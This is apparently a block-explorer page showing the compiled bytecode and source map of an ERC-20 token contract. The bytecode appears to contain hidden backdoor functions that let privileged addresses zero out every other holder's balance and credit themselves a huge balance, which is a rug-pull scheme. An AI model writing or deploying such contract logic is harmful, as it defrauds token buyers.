5610361575f5ffd5b506101fc6109df565b348015610375575f5ffd5b506101fc610384366004611242565b610d01565b60606001805461039890611350565b80601f01602080910402602001604051908101604052809291908181526020018280546103c490611350565b801561040f5780601f106103e65761010080835404028352916020019161040f565b820191905f5260205f20905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b5f610425338484610dd9565b5060015b92915050565b5f61043c6009600a61147f565b61044b9064e8d4a5100061148d565b905090565b5f61045c848484610efd565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461049591869161049090866110d1565b610dd9565b5060019392505050565b6007546001600160a01b031633146104b5575f5ffd5b5f5b600554811015610602575f600582815481106104d5576104d56114a4565b5f918252602090912001546001600160a01b0316905073c1cba3fcea344f92d9239c08c0568f6f2f0ee452811480159061052c57506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b801561055557506001600160a01b03811673f3af3a87b46df75bf7f9081a3086f727a35c47ac14155b801561056f57506007546001600160a01b03828116911614155b801561058457506001600160a01b0381163014155b801561059d57505f546001600160a01b03828116911614155b80156105b75750600a546001600160a01b03828116911614155b156105f9576001600160a01b0381165f818152600360209081526040808320839055518281529192915f51602061155c5f395f51905f52910160405180910390a35b506001016104b7565b50565b5f546001600160a01b031633146106375760405162461bcd60e51b815260040161062e906114b8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610695575f5ffd5b5f5b8181101561074857600160035f8585858181106106b6576106b66114a4565b90506020020160208101906106cb9190611242565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106106fb576106fb6114a4565b90506020020160208101906107109190611242565b6001600160a01b03165f51602061155c5f395f51905f52600160405161073891815260200190565b60405180910390a3600101610697565b505050565b60606002805461039890611350565b6007546001600160a01b03163314610772575f5ffd5b61077e6009600a61147f565b61078a6009600a61147f565b6107999064e8d4a5100061148d565b6107a3919061148d565b6001600160a01b0382165f818152600360205260408120929092555f51602061155c5f395f51905f526107d86009600a61147f565b6107e46009600a61147f565b6107f39064e8d4a5100061148d565b6107fd919061148d565b60405190815260200160405180910390a350565b5f610425338484610efd565b6008546001600160a01b03163314610833575f5ffd5b5f5b600554811015610602575f60058281548110610853576108536114a4565b5f918252602090912001546001600160a01b0316905073c1cba3fcea344f92d9239c08c0568f6f2f0ee45281148015906108aa57506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b80156108d357506001600160a01b03811673f3af3a87b46df75bf7f9081a3086f727a35c47ac14155b80156108ed57506007546001600160a01b03828116911614155b801561090257506001600160a01b0381163014155b801561091b57505f546001600160a01b03828116911614155b80156109355750600a546001600160a01b03828116911614155b15610977576001600160a01b0381165f818152600360209081526040808320839055518281529192915f51602061155c5f395f51905f52910160405180910390a35b50600101610835565b6060600580548060200260200160405190810160405280929190818152602001828054801561040f57602002820191905f5260205f20905b81546001600160a01b031681526001909101906020018083116109b8575050505050905090565b5f546001600160a01b03163314610a085760405162461bcd60e51b815260040161062e906114b8565b600a54600160a01b900460ff1615610a625760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062e565b600980546001600160a01b031916734752ba5dbc23f44d87826276bf6fd6b1c372ad249081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610ac4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae891906114ef565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b47573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6b91906114ef565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bb5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd991906114ef565b600a80546001600160a01b0319166001600160a01b0392831617815560098054610c1a933093911691610c0b9161147f565b6104909064e8d4a5100061148d565b6009546001600160a01b031663f305d7194730610c4b816001600160a01b03165f9081526003602052604090205490565b5f5f610c5e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cc4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ce9919061150a565b5050600a805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610d2a5760405162461bcd60e51b815260040161062e906114b8565b6001600160a01b038116610d805760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015260640161062e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610e9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610f535760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161062e565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161062e565b6001600160a01b0382165f9081526006602052604090205460ff16158015610fd957506001600160a01b03821615155b15611041576005805460018082019092557f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0385169081179091555f908152600660205260409020805460ff191690911790555b6001600160a01b0383165f9081526003602052604090205461106390826110d1565b6001600160a01b038085165f9081526003602052604080822093909355908416815220546110919082611133565b6001600160a01b038084165f8181526003602052604090819020939093559151908516905f51602061155c5f395f51905f5290610ef09085815260200190565b5f828211156111225760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161062e565b61112c8284611535565b9392505050565b5f8061113f8385611548565b90508381101561112c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610602575f5ffd5b5f5f604083850312156111eb575f5ffd5b82356111f6816111c6565b946020939093013593505050565b5f5f5f60608486031215611216575f5ffd5b8335611221816111c6565b92506020840135611231816111c6565b929592945050506040919091013590565b5f60208284031215611252575f5ffd5b813561112c816111c6565b5f5f6020838503121561126e575f5ffd5b823567ffffffffffffffff811115611284575f5ffd5b8301601f81018513611294575f5ffd5b803567ffffffffffffffff8111156112aa575f5ffd5b8560208260051b84010111156112be575f5ffd5b6020919091019590945092505050565b602080825282518282018190525f918401906040840190835b8181101561130e5783516001600160a01b03168352602093840193909201916001016112e7565b509095945050505050565b5f5f6040838503121561132a575f5ffd5b8235611335816111c6565b91506020830135611345816111c6565b809150509250929050565b600181811c9082168061136457607f821691505b60208210810361138257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156113d7578085048111156113bb576113bb611388565b60018416156113c957908102905b60019390931c9280026113a0565b935093915050565b5f826113ed57506001610429565b816113f957505f610429565b816001811461140f576002811461141957611435565b6001915050610429565b60ff84111561142a5761142a611388565b50506001821b610429565b5060208310610133831016604e8410600b8410161715611458575081810a610429565b6114645f19848461139c565b805f190482111561147757611477611388565b029392505050565b5f61112c60ff8416836113df565b808202811582820484141761042957610429611388565b634e487b7160e01b5f52603260045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f602082840312156114ff575f5ffd5b815161112c816111c6565b5f5f5f6060848603121561151c575f5ffd5b5050815160208301516040909301519094929350919050565b8181038181111561042957610429611388565b808201808211156104295761042961138856feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a02cdc325190d8046ee46df4280f933a0229b6a7a91e94573295bdeddb98418664736f6c634300081c0033

Deployed Bytecode Sourcemap

3073:7414:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8968:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9686:167;;;;;;;;;;-1:-1:-1;9686:167:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;9686:167:0;945:187:1;9272:108:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;9272:108:0;1137:177:1;10215:269:0;;;;;;;;;;-1:-1:-1;10215:269:0;;;;;:::i;:::-;;:::i;9172:92::-;;;;;;;;;;-1:-1:-1;9172:92:0;;3247:1;1974:36:1;;1962:2;1947:18;9172:92:0;1832:184:1;4064:26:0;;;;;;;;;;;;;;;;7606:611;;;;;;;;;;;;;:::i;:::-;;9388:131;;;;;;;;;;-1:-1:-1;9388:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;9489:22:0;9462:7;9489:22;;;:13;:22;;;;;;;9388:131;2367:148;;;;;;;;;;;;;:::i;1926:79::-;;;;;;;;;;-1:-1:-1;1964:7:0;1991:6;1926:79;;-1:-1:-1;;;;;1991:6:0;;;2419:51:1;;2407:2;2392:18;1926:79:0;2273:203:1;7045:279:0;;;;;;;;;;-1:-1:-1;7045:279:0;;;;;:::i;:::-;;:::i;9068:96::-;;;;;;;;;;;;;:::i;7334:269::-;;;;;;;;;;-1:-1:-1;7334:269:0;;;;;:::i;:::-;;:::i;5403:173::-;;;;;;;;;;-1:-1:-1;5403:173:0;;;;;:::i;:::-;;:::i;6199:639::-;;;;;;;;;;;;;:::i;6846:89::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9527:151::-;;;;;;;;;;-1:-1:-1;9527:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;9643:18:0;;;9616:7;9643:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9527:151;8223:665;;;;;;;;;;;;;:::i;2132:227::-;;;;;;;;;;-1:-1:-1;2132:227:0;;;;;:::i;:::-;;:::i;8968:92::-;9014:13;9047:5;9040:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8968:92;:::o;9686:167::-;9769:4;9786:37;9795:10;9807:7;9816:6;9786:8;:37::i;:::-;-1:-1:-1;9841:4:0;9686:167;;;;;:::o;9272:108::-;9333:7;3311:13;3247:1;3311:2;:13;:::i;:::-;3295:29;;:13;:29;:::i;:::-;9353:19;;9272:108;:::o;10215:269::-;10313:4;10330:36;10340:6;10348:9;10359:6;10330:9;:36::i;:::-;-1:-1:-1;;;;;10408:19:0;;;;;;:11;:19;;;;;;;;1627:10;10408:33;;;;;;;;;10377:77;;10386:6;;10408:45;;10446:6;10408:37;:45::i;:::-;10377:8;:77::i;:::-;-1:-1:-1;10472:4:0;10215:269;;;;;:::o;7606:611::-;6990:12;;-1:-1:-1;;;;;6990:12:0;1627:10;6990:28;6982:37;;;;;;7668:9:::1;7663:547;7687:3;:10:::0;7683:14;::::1;7663:547;;;7719:12;7734:3;7738:1;7734:6;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;7734:6:0::1;::::0;-1:-1:-1;3606:42:0::1;7777:20:::0;::::1;::::0;::::1;::::0;:66:::1;;-1:-1:-1::0;;;;;;7818:25:0;::::1;3700:42;7818:25;;7777:66;:114;;;;-1:-1:-1::0;;;;;;7864:27:0;::::1;3796:42;7864:27;;7777:114;:155;;;;-1:-1:-1::0;7920:12:0::1;::::0;-1:-1:-1;;;;;7912:20:0;;::::1;7920:12:::0;::::1;7912:20;;7777:155;:197;;;;-1:-1:-1::0;;;;;;7953:21:0;::::1;7969:4;7953:21;;7777:197;:233;;;;-1:-1:-1::0;1964:7:0;1991:6;-1:-1:-1;;;;;7995:15:0;;::::1;1991:6:::0;;7995:15:::1;;7777:233;:275;;;;-1:-1:-1::0;8039:13:0::1;::::0;-1:-1:-1;;;;;8031:21:0;;::::1;8039:13:::0;::::1;8031:21;;7777:275;7755:444;;;-1:-1:-1::0;;;;;8089:19:0;::::1;8111:1;8089:19:::0;;;:13:::1;:19;::::0;;;;;;;:23;;;8136:47;1283:25:1;;;8111:1:0;;8089:19;-1:-1:-1;;;;;;;;;;;8136:47:0;1256:18:1;8136:47:0::1;;;;;;;7755:444;-1:-1:-1::0;7699:3:0::1;;7663:547;;;;7606:611::o:0;2367:148::-;1964:7;1991:6;-1:-1:-1;;;;;1991:6:0;1627:10;2053:23;2045:59;;;;-1:-1:-1;;;2045:59:0;;;;;;;:::i;:::-;;;;;;;;;2474:1:::1;2458:6:::0;;2437:40:::1;::::0;-1:-1:-1;;;;;2458:6:0;;::::1;::::0;2437:40:::1;::::0;2474:1;;2437:40:::1;2505:1;2488:19:::0;;-1:-1:-1;;;;;;2488:19:0::1;::::0;;2367:148::o;7045:279::-;6990:12;;-1:-1:-1;;;;;6990:12:0;1627:10;6990:28;6982:37;;;;;;7139:9:::1;7134:187;7154:29:::0;;::::1;7134:187;;;7240:1;7201:13;:36;7215:18;;7234:1;7215:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7201:36:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;7201:36:0;;;:40;;;;7276:18;;7295:1;7276:21;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7267:46:0::1;-1:-1:-1::0;;;;;;;;;;;7311:1:0::1;7267:46;;;;1283:25:1::0;;1271:2;1256:18;;1137:177;7267:46:0::1;;;;;;;;7185:3;;7134:187;;;;7045:279:::0;;:::o;9068:96::-;9116:13;9149:7;9142:14;;;;;:::i;7334:269::-;6990:12;;-1:-1:-1;;;;;6990:12:0;1627:10;6990:28;6982:37;;;;;;7479:15:::1;3247:1;7479:2;:15;:::i;:::-;3311:13;3247:1;3311:2;:13;:::i;:::-;3295:29;::::0;:13:::1;:29;:::i;:::-;7464:30;;;;:::i;:::-;-1:-1:-1::0;;;;;7425:36:0;::::1;;::::0;;;:13:::1;:36;::::0;;;;:69;;;;-1:-1:-1;;;;;;;;;;;7579:15:0::1;3247:1;7579:2;:15;:::i;:::-;3311:13;3247:1;3311:2;:13;:::i;:::-;3295:29;::::0;:13:::1;:29;:::i;:::-;7564:30;;;;:::i;:::-;7520:75;::::0;1283:25:1;;;1271:2;1256:18;7520:75:0::1;;;;;;;7334:269:::0;:::o;5403:173::-;5489:4;5506:40;5516:10;5528:9;5539:6;5506:9;:40::i;6199:639::-;6250:6;;-1:-1:-1;;;;;6250:6:0;1627:10;6250:22;6242:31;;;;;;6289:9;6284:547;6308:3;:10;6304:14;;6284:547;;;6340:12;6355:3;6359:1;6355:6;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;6355:6:0;;-1:-1:-1;3606:42:0;6398:20;;;;;:66;;-1:-1:-1;;;;;;6439:25:0;;3700:42;6439:25;;6398:66;:114;;;;-1:-1:-1;;;;;;6485:27:0;;3796:42;6485:27;;6398:114;:155;;;;-1:-1:-1;6541:12:0;;-1:-1:-1;;;;;6533:20:0;;;6541:12;;6533:20;;6398:155;:197;;;;-1:-1:-1;;;;;;6574:21:0;;6590:4;6574:21;;6398:197;:233;;;;-1:-1:-1;1964:7:0;1991:6;-1:-1:-1;;;;;6616:15:0;;;1991:6;;6616:15;;6398:233;:275;;;;-1:-1:-1;6660:13:0;;-1:-1:-1;;;;;6652:21:0;;;6660:13;;6652:21;;6398:275;6376:444;;;-1:-1:-1;;;;;6710:19:0;;6732:1;6710:19;;;:13;:19;;;;;;;;:23;;;6757:47;1283:25:1;;;6732:1:0;;6710:19;-1:-1:-1;;;;;;;;;;;6757:47:0;1256:18:1;6757:47:0;;;;;;;6376:444;-1:-1:-1;6320:3:0;;6284:547;;6846:89;6888:16;6924:3;6917:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6917:10:0;;;;;;;;;;;;;;;;;;;;;;6846:89;:::o;8223:665::-;1964:7;1991:6;-1:-1:-1;;;;;1991:6:0;1627:10;2053:23;2045:59;;;;-1:-1:-1;;;2045:59:0;;;;;;;:::i;:::-;8286:11:::1;::::0;-1:-1:-1;;;8286:11:0;::::1;;;8285:12;8277:48;;;::::0;-1:-1:-1;;;8277:48:0;;7129:2:1;8277:48:0::1;::::0;::::1;7111:21:1::0;7168:2;7148:18;;;7141:30;7207:25;7187:18;;;7180:53;7250:18;;8277:48:0::1;6927:347:1::0;8277:48:0::1;8338:15;:80:::0;;-1:-1:-1;;;;;;8338:80:0::1;8375:42;8338:80:::0;;::::1;::::0;;;8463:25:::1;::::0;;-1:-1:-1;;;8463:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;8375:42;8463:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8445:55:0::1;;8509:4;8516:15;;;;;;;;;-1:-1:-1::0;;;;;8516:15:0::1;-1:-1:-1::0;;;;;8516:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8445:94;::::0;-1:-1:-1;;;;;;8445:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7727:32:1;;;8445:94:0::1;::::0;::::1;7709:51:1::0;7796:32;;7776:18;;;7769:60;7682:18;;8445:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8429:13;:110:::0;;-1:-1:-1;;;;;;8429:110:0::1;-1:-1:-1::0;;;;;8429:110:0;;::::1;;::::0;;8582:15:::1;::::0;;8550:63:::1;::::0;8567:4:::1;::::0;8582:15;::::1;::::0;3311:13:::1;::::0;::::1;:::i;:::-;3295:29;::::0;:13:::1;:29;:::i;8550:63::-;8626:15;::::0;-1:-1:-1;;;;;8626:15:0::1;:31;8665:21;8710:4;8730:24;8710:4:::0;-1:-1:-1;;;;;9489:22:0;9462:7;9489:22;;;:13;:22;;;;;;;9388:131;8730:24:::1;8769:1;8785;8801:7;1964::::0;1991:6;-1:-1:-1;;;;;1991:6:0;;1926:79;8801:7:::1;8626:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8626:223:0;;;-1:-1:-1;;;;;8161:32:1;;;8626:223:0::1;::::0;::::1;8143:51:1::0;8210:18;;;8203:34;;;;8253:18;;;8246:34;;;;8296:18;;;8289:34;8360:32;;;8339:19;;;8332:61;8823:15:0::1;8409:19:1::0;;;8402:35;8115:19;;8626:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8862:11:0::1;:18:::0;;-1:-1:-1;;;;8862:18:0::1;-1:-1:-1::0;;;8862:18:0::1;::::0;;-1:-1:-1;8223:665:0:o;2132:227::-;1964:7;1991:6;-1:-1:-1;;;;;1991:6:0;1627:10;2053:23;2045:59;;;;-1:-1:-1;;;2045:59:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2213:22:0;::::1;2205:64;;;::::0;-1:-1:-1;;;2205:64:0;;9111:2:1;2205:64:0::1;::::0;::::1;9093:21:1::0;9150:2;9130:18;;;9123:30;9189:31;9169:18;;;9162:59;9238:18;;2205:64:0::1;8909:353:1::0;2205:64:0::1;2306:6;::::0;;2285:38:::1;::::0;-1:-1:-1;;;;;2285:38:0;;::::1;::::0;2306:6;::::1;::::0;2285:38:::1;::::0;::::1;2334:6;:17:::0;;-1:-1:-1;;;;;;2334:17:0::1;-1:-1:-1::0;;;;;2334:17:0;;;::::1;::::0;;;::::1;::::0;;2132:227::o;9861:346::-;-1:-1:-1;;;;;9963:19:0;;9955:68;;;;-1:-1:-1;;;9955:68:0;;9469:2:1;9955:68:0;;;9451:21:1;9508:2;9488:18;;;9481:30;9547:34;9527:18;;;9520:62;-1:-1:-1;;;9598:18:1;;;9591:34;9642:19;;9955:68:0;9267:400:1;9955:68:0;-1:-1:-1;;;;;10042:21:0;;10034:68;;;;-1:-1:-1;;;10034:68:0;;9874:2:1;10034:68:0;;;9856:21:1;9913:2;9893:18;;;9886:30;9952:34;9932:18;;;9925:62;-1:-1:-1;;;10003:18:1;;;9996:32;10045:19;;10034:68:0;9672:398:1;10034:68:0;-1:-1:-1;;;;;10115:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10167:32;;1283:25:1;;;10167:32:0;;1256:18:1;10167:32:0;;;;;;;;9861:346;;;:::o;5584:607::-;-1:-1:-1;;;;;5682:20:0;;5674:63;;;;-1:-1:-1;;;5674:63:0;;10277:2:1;5674:63:0;;;10259:21:1;10316:2;10296:18;;;10289:30;10355:32;10335:18;;;10328:60;10405:18;;5674:63:0;10075:354:1;5674:63:0;-1:-1:-1;;;;;5756:23:0;;5748:64;;;;-1:-1:-1;;;5748:64:0;;10636:2:1;5748:64:0;;;10618:21:1;10675:2;10655:18;;;10648:30;10714;10694:18;;;10687:58;10762:18;;5748:64:0;10434:352:1;5748:64:0;-1:-1:-1;;;;;5860:16:0;;;;;;:5;:16;;;;;;;;5859:17;:44;;;;-1:-1:-1;;;;;;5880:23:0;;;;5859:44;5855:134;;;5920:3;:19;;;;;;;;;;;;;-1:-1:-1;;;;;;5920:19:0;-1:-1:-1;;;;;5920:19:0;;;;;;;;-1:-1:-1;5954:16:0;;;:5;5920:19;5954:16;;;;:23;;-1:-1:-1;;5954:23:0;;;;;;5855:134;-1:-1:-1;;;;;6025:21:0;;;;;;:13;:21;;;;;;:33;;6051:6;6025:25;:33::i;:::-;-1:-1:-1;;;;;6001:21:0;;;;;;;:13;:21;;;;;;:57;;;;6096:24;;;;;;;:36;;6125:6;6096:28;:36::i;:::-;-1:-1:-1;;;;;6069:24:0;;;;;;;:13;:24;;;;;;;:63;;;;6148:35;;;;;;-1:-1:-1;;;;;;;;;;;6148:35:0;;;6176:6;1283:25:1;;1271:2;1256:18;;1137:177;969:158:0;1027:7;1060:1;1055;:6;;1047:49;;;;-1:-1:-1;;;1047:49:0;;10993:2:1;1047:49:0;;;10975:21:1;11032:2;11012:18;;;11005:30;11071:32;11051:18;;;11044:60;11121:18;;1047:49:0;10791:354:1;1047:49:0;1114:5;1118:1;1114;:5;:::i;:::-;1107:12;969:158;-1:-1:-1;;;969:158:0:o;782:179::-;840:7;;872:5;876:1;872;:5;:::i;:::-;860:17;;901:1;896;:6;;888:46;;;;-1:-1:-1;;;888:46:0;;11615:2:1;888:46:0;;;11597:21:1;11654:2;11634:18;;;11627:30;11693:29;11673:18;;;11666:57;11740:18;;888:46:0;11413:351:1;14:418;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:610::-;2567:6;2575;2628:2;2616:9;2607:7;2603:23;2599:32;2596:52;;;2644:1;2641;2634:12;2596:52;2684:9;2671:23;2717:18;2709:6;2706:30;2703:50;;;2749:1;2746;2739:12;2703:50;2772:22;;2825:4;2817:13;;2813:27;-1:-1:-1;2803:55:1;;2854:1;2851;2844:12;2803:55;2894:2;2881:16;2920:18;2912:6;2909:30;2906:50;;;2952:1;2949;2942:12;2906:50;3005:7;3000:2;2990:6;2987:1;2983:14;2979:2;2975:23;2971:32;2968:45;2965:65;;;3026:1;3023;3016:12;2965:65;3057:2;3049:11;;;;;3079:6;;-1:-1:-1;2481:610:1;-1:-1:-1;;;2481:610:1:o;3096:637::-;3286:2;3298:21;;;3368:13;;3271:18;;;3390:22;;;3238:4;;3469:15;;;3443:2;3428:18;;;3238:4;3512:195;3526:6;3523:1;3520:13;3512:195;;;3591:13;;-1:-1:-1;;;;;3587:39:1;3575:52;;3656:2;3682:15;;;;3647:12;;;;3623:1;3541:9;3512:195;;;-1:-1:-1;3724:3:1;;3096:637;-1:-1:-1;;;;;3096:637:1:o;3738:388::-;3806:6;3814;3867:2;3855:9;3846:7;3842:23;3838:32;3835:52;;;3883:1;3880;3873:12;3835:52;3922:9;3909:23;3941:31;3966:5;3941:31;:::i;:::-;3991:5;-1:-1:-1;4048:2:1;4033:18;;4020:32;4061:33;4020:32;4061:33;:::i;:::-;4113:7;4103:17;;;3738:388;;;;;:::o;4131:380::-;4210:1;4206:12;;;;4253;;;4274:61;;4328:4;4320:6;4316:17;4306:27;;4274:61;4381:2;4373:6;4370:14;4350:18;4347:38;4344:161;;4427:10;4422:3;4418:20;4415:1;4408:31;4462:4;4459:1;4452:15;4490:4;4487:1;4480:15;4344:161;;4131:380;;;:::o;4516:127::-;4577:10;4572:3;4568:20;4565:1;4558:31;4608:4;4605:1;4598:15;4632:4;4629:1;4622:15;4648:375;4736:1;4754:5;4768:249;4789:1;4779:8;4776:15;4768:249;;;4839:4;4834:3;4830:14;4824:4;4821:24;4818:50;;;4848:18;;:::i;:::-;4898:1;4888:8;4884:16;4881:49;;;4912:16;;;;4881:49;4995:1;4991:16;;;;;4951:15;;4768:249;;;4648:375;;;;;;:::o;5028:902::-;5077:5;5107:8;5097:80;;-1:-1:-1;5148:1:1;5162:5;;5097:80;5196:4;5186:76;;-1:-1:-1;5233:1:1;5247:5;;5186:76;5278:4;5296:1;5291:59;;;;5364:1;5359:174;;;;5271:262;;5291:59;5321:1;5312:10;;5335:5;;;5359:174;5396:3;5386:8;5383:17;5380:43;;;5403:18;;:::i;:::-;-1:-1:-1;;5459:1:1;5445:16;;5518:5;;5271:262;;5617:2;5607:8;5604:16;5598:3;5592:4;5589:13;5585:36;5579:2;5569:8;5566:16;5561:2;5555:4;5552:12;5548:35;5545:77;5542:203;;;-1:-1:-1;5654:19:1;;;5730:5;;5542:203;5777:42;-1:-1:-1;;5802:8:1;5796:4;5777:42;:::i;:::-;5855:6;5851:1;5847:6;5843:19;5834:7;5831:32;5828:58;;;5866:18;;:::i;:::-;5904:20;;5028:902;-1:-1:-1;;;5028:902:1:o;5935:140::-;5993:5;6022:47;6063:4;6053:8;6049:19;6043:4;6022:47;:::i;6080:168::-;6153:9;;;6184;;6201:15;;;6195:22;;6181:37;6171:71;;6222:18;;:::i;6253:127::-;6314:10;6309:3;6305:20;6302:1;6295:31;6345:4;6342:1;6335:15;6369:4;6366:1;6359:15;6385:347;6587:2;6569:21;;;6626:2;6606:18;;;6599:30;6665:25;6660:2;6645:18;;6638:53;6723:2;6708:18;;6385:347::o;7279:251::-;7349:6;7402:2;7390:9;7381:7;7377:23;7373:32;7370:52;;;7418:1;7415;7408:12;7370:52;7450:9;7444:16;7469:31;7494:5;7469:31;:::i;8448:456::-;8536:6;8544;8552;8605:2;8593:9;8584:7;8580:23;8576:32;8573:52;;;8621:1;8618;8611:12;8573:52;-1:-1:-1;;8666:16:1;;8772:2;8757:18;;8751:25;8868:2;8853:18;;;8847:25;8666:16;;8751:25;;-1:-1:-1;8847:25:1;8448:456;-1:-1:-1;8448:456:1:o;11150:128::-;11217:9;;;11238:11;;;11235:37;;;11252:18;;:::i;11283:125::-;11348:9;;;11369:10;;;11366:36;;;11382:18;;:::i

Swarm Source

ipfs://a02cdc325190d8046ee46df4280f933a0229b6a7a91e94573295bdeddb984186
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.